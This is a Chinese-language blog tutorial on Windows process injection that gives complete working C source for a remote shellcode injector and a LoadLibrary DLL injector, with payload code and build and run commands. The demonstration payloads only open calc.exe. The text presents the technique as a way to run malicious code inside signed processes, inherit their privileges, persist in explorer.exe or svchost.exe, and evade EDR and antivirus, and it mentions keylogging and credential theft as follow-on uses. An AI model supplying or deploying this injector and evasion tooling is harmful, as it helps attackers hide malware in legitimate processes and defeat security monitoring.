代码注入技术

2025-9-8 116 9/8

代码注入技术

知识卡片

  1. 代码注入的核心本质:突破Windows进程内存隔离机制,在目标进程的私有地址空间,强制执行我们的恶意代码,全程可无文件落地,不创建新进程。

  2. 注入技术类型:ShellCode直接注入/DLL模块注入、本地注入/远程跨进程注入、EDR绕过变种注入

  3. 代码注入的价值:进程伪装(继承合法进程的数字签名、信誉度、防火墙放行规则,绕过应用白名单和网络防护)、权限继承(注入到高权限进程,直接继承其安全令牌,无需额外提权操作)、无文件落地(全程内存操作,不写入硬盘)、持久化驻留(注入到explorer.exe、svchost.exe等开启自启动进程,开机自动上线)

  4. DLL注入核心原理:利用Windows的LoadLibrary API,在远程进程中加载恶意DLL模块,执行DLLMain中的恶意代码

  5. DLL注入与ShellCode注入的区别:Shellcode适合轻量上线,DLL适合复杂功能开发

详细讲解

正常来说双击运行木马exe,创建新进程会有全链路日志,父进程是explorer.exe特征很明显

代码注入就是将Payload,注入到正在跑的、合法的、有数字签名的进程里(如notepad.exe、chrome.exe、svchost.exe)

按照Windows的底层逻辑,每个进程在Windows里都有自己独立的虚拟地址空间,默认是互相隔离的,你的进程碰不到别人的内存。注入就是通过Windows API合法地突破这个隔离,给目标进程塞代码,并且让它执行。

一、向远程进程注入代码

首先要明确一个概念,这里的"远程"不是指跨网段主机,而是指跨进程。

  1. 第一步:拿到目标进程的进程句柄

    要操作其他进程,首先要拿到Windows给的进程句柄,用的API就是OpenProcess

    申请权限必须满足最小权限原则,即只申请我们必须要用到的权限:

    • PROCESS_VM_OPERATION:给远程进程申请/释放内存用

    • PROCESS_VM_WRITE:给远程进程写Shellcode用

    • PROCESS_VM_READ:读取远程内存,校验写入是否成功

    • PROCESS_CREATE_THREAD:创建远程线程执行代码用

    而不是直接申请PROCESS_ALL_ACCESS全权限(EDR直接标红)

  2. 第二步:在目标进程里远程申请内存

    我们需要在目标进程申请内存放我们的ShellCode,用的API就是VirtualAllocEx

    这里要与VirtualAlloc区分,没带Ex的API操作的是自己的进程

    申请内存同样有要求,不能直接申请PAGE_EXECUTE_READWRITE(RWX)权限内存,直接申请可写可执行特征太明显,可以先申请PAGE_READWRITE(RW)可读可写权限,在将ShellCode写进去后,再用VirtualProtectEx改为PAGE_EXECUTE_READ(RX)可读可执行权限。

  3. 第三步:将ShellCode写入内存

    进而就是将ShellCode写入内存了,这里用WriteProcessMemory

  4. 第四步:触发远程执行

    最基础的方式就是用CreateRemoteThread创建一个远程线程,让这个线程入口点指向写入的ShellCode内存地址。

二、实现代码注入

接下来我们就要根据上述步骤实现Windows x64环境下的远程Shellcode注入器

// 用途:Windows x64环境下 实战级远程Shellcode注入器
// 编译命令(MinGW):gcc injector.c -o injector.exe -s -w
// 参数说明:-s 剥离符号表,减小体积,免杀;-w 屏蔽编译警告
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    // ====================== Shellcode ======================
    unsigned char shellcode[] = 
    "\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x31\xdb\x65\x48\x8b\x1c\x25"
    "\x60\x00\x00\x00\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48"
    "\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xdc\x8b\x43\x3c\x48\x01\xd8\x8b"
    "\x80\x88\x00\x00\x00\x48\x01\xd8\x49\x89\xc5\x41\x8b\x4d\x18\x45"
    "\x8b\x75\x20\x49\x01\xde\xff\xc9\x41\x8b\x34\x8e\x48\x01\xde\x8b"
    "\x06\x3d\x57\x69\x6e\x45\x75\xee\x8b\x46\x04\x3d\x78\x65\x63\x00"
    "\x75\xe4\x45\x8b\x7d\x24\x49\x01\xdf\x41\x0f\xb7\x0c\x4f\x45\x8b"
    "\x7d\x1c\x49\x01\xdf\x41\x8b\x04\x8f\x48\x01\xd8\xeb\x0e\x59\xba"
    "\x01\x00\x00\x00\xff\xd0\x48\x83\xc4\x60\x5d\xc3\xe8\xed\xff\xff"
    "\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    // ==================================================================

    // 变量定义
    DWORD targetPID = 0;
    HANDLE hProcess = NULL;
    LPVOID remoteMemAddr = NULL;
    HANDLE hRemoteThread = NULL;
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;

    // 命令行参数处理,获取目标PID
    if (argc < 2) {
        // 改用纯ASCII字符避免编码问题
        printf("[!] Usage: %s <Target Process PID>\n", argv[0]);
        printf("[!] Example: %s 1234\n", argv[0]);
        return 1;
    }
    targetPID = atoi(argv[1]);
    printf("[+] Target Process PID: %d\n", targetPID);

    // ======================  第一步:拿进程句柄 ======================
    // 最小权限原则,只申请必须的权限,避免EDR告警
    hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD,
        FALSE,
        targetPID
    );
    if (hProcess == NULL) {
        printf("[!] OpenProcess failed! Error Code: %d\n", GetLastError());
        return 1;
    }
    printf("[+] Successfully get process handle: 0x%p\n", hProcess);

    // ====================== 第二步:远程申请内存 ======================
    // 先申请可读写(RW)权限,不直接申请可执行权限,免杀核心操作
    remoteMemAddr = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (remoteMemAddr == NULL) {
        printf("[!] VirtualAllocEx failed! Error Code: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Successfully allocate remote memory, address: 0x%p\n", remoteMemAddr);

    // ====================== 第三步:写入Shellcode ======================
    if (!WriteProcessMemory(
        hProcess,
        remoteMemAddr,
        shellcode,
        sizeof(shellcode),
        &bytesWritten
    )) {
        printf("[!] WriteProcessMemory failed! Error Code: %d\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Successfully write Shellcode, bytes: %zu/%zu\n", bytesWritten, sizeof(shellcode));

    // ====================== 第四步:修改内存权限+执行 ======================
    // 把内存权限从RW改成RX(可执行只读),遵循先写后执行原则
    if (!VirtualProtectEx(
        hProcess,
        remoteMemAddr,
        sizeof(shellcode),
        PAGE_EXECUTE_READ,
        &oldProtect
    )) {
        printf("[!] VirtualProtectEx failed! Error Code: %d\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Successfully change memory protection to PAGE_EXECUTE_READ\n");

    // 创建远程线程,执行Shellcode
    hRemoteThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMemAddr,
        NULL,
        0,
        NULL
    );
    if (hRemoteThread == NULL) {
        printf("[!] CreateRemoteThread failed! Error Code: %d\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Successfully create remote thread! Shellcode is executing...\n");

    // 等待线程执行完成,清理痕迹
    WaitForSingleObject(hRemoteThread, INFINITE);
    CloseHandle(hRemoteThread);
    VirtualFreeEx(hProcess, remoteMemAddr, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    printf("[+] Injection completed! All resources cleaned up\n");

    return 0;
}

使用方法:

先打开记事本再用任务管理器找到目标进程的PID,然后在cmd里执行

ps //查看进程。找到记事本进程拿到PID165868 

或者直接任务管理器

代码注入技术

./injector.exe 165868

执行后就可以看到计算器已经弹出

三、向远程进程加载DLL

ShellCode只适合轻量级上线,但是如果想要添加如键盘记录、凭证窃取、内网代理、端口转发等命令,开发ShellCode的难度会大大增加,并且功能可能还会不稳定,这个时候就要用到DLL了

Windows里几乎所有进程都会加载kernel32.dll这个系统库,我们需要的LoadLibraryA/W API就在里面。因为系统DLL的加载基址是固定的,所以LoadLibrary的地址,在所有进程里都是一样的。那我们就可以直接调用LoadLibrary,加载我们的恶意DLL了

步骤和ShellCode注入差不多

  1. 第一步:拿目标进程的句柄

    也是用OpenProcess

  2. 第二步:远程申请内存

    LoadLibrary需要一个参数:DLL文件的完整路径字符串

    我们申请内存也是将这个路径字符串写进去,路径尽量用宽字符,也就是LoadLibraryW,同时避免中文路径、特殊字符的问题

  3. 第三步:写入DLL路径到远程内存

    和写入ShellCode一样,用WriteProcessMemory写入内存

  4. 第四步:创建远程线程,入口点指向LoadLibrary的地址

    线程入口函数写我们的LoadLibrary的地址,线程一创建目标进程就会加载我们的DLL代码

四、DLL注入实现

DLL注入器

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {

    // 将字符串参数转换为 DWORD 类型的 PID
    DWORD dwPid = (DWORD)atoi(argv[1]);
    const wchar_t* dllPath = L"C:\\Users\\28374\\Desktop\\RT\\injector\\tancalc.dll";
    printf("=== DLL 注入===\n");
    printf("[*] 目标 PID: %lu\n", dwPid);

    // --- 第一步:获取目标进程句柄 ---
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, 
        FALSE, 
        dwPid
    );
    if (!hProcess) {
        printf("[!] 错误: 无法打开进程 (Error: %lu)。请检查 PID 是否正确或尝试以管理员权限运行。\n", GetLastError());
        return -1;
    }
    // --- 第二步:在远程进程中申请内存 ---
    size_t pathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE);
    if (!pRemoteBuf) {
        printf("[!] 错误: 远程内存分配失败。\n");
        CloseHandle(hProcess);
        return -1;
    }
    // --- 第三步:写入 DLL 路径到远程内存 ---
    if (!WriteProcessMemory(hProcess, pRemoteBuf, dllPath, pathSize, NULL)) {
        printf("[!] 错误: 写入内存失败。\n");
        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }
    // --- 第四步:获取 LoadLibraryW 地址并创建远程线程 ---
    LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"
    );
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteBuf, 0, NULL);
    if (hThread) {
        printf("[+] 远程线程已启动,等待 DLL 加载...\n");
        WaitForSingleObject(hThread, INFINITE);
        // 检查 LoadLibraryW 的返回值(即模块句柄)
        DWORD_PTR hLibModule = 0;
        if (GetExitCodeThread(hThread, (LPDWORD)&hLibModule) && hLibModule != 0) {
            printf("[+++] 注入成功!模块基址: 0x%p\n", (void*)hLibModule);
        } else {
            printf("[!] 注入失败:LoadLibrary 返回 NULL (可能是路径错误或缺少依赖)。\n");
        }
        CloseHandle(hThread);
    } else {
        printf("[!] 错误: 无法创建远程线程 (Error: %lu)\n", GetLastError());
    }
    // 清理释放
    VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return 0;
}

我们先编译一个同样用于启动计算器calc.exe的DLL程序

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_SHOW);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

编译命令

gcc winjector.c -o winjector.exe -m64
gcc -shared -m64 -o tancalc.dll tancalc.c -lkernel32

使用方式

./winjector.exe [PID]  如:./winjector.exe 192000

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论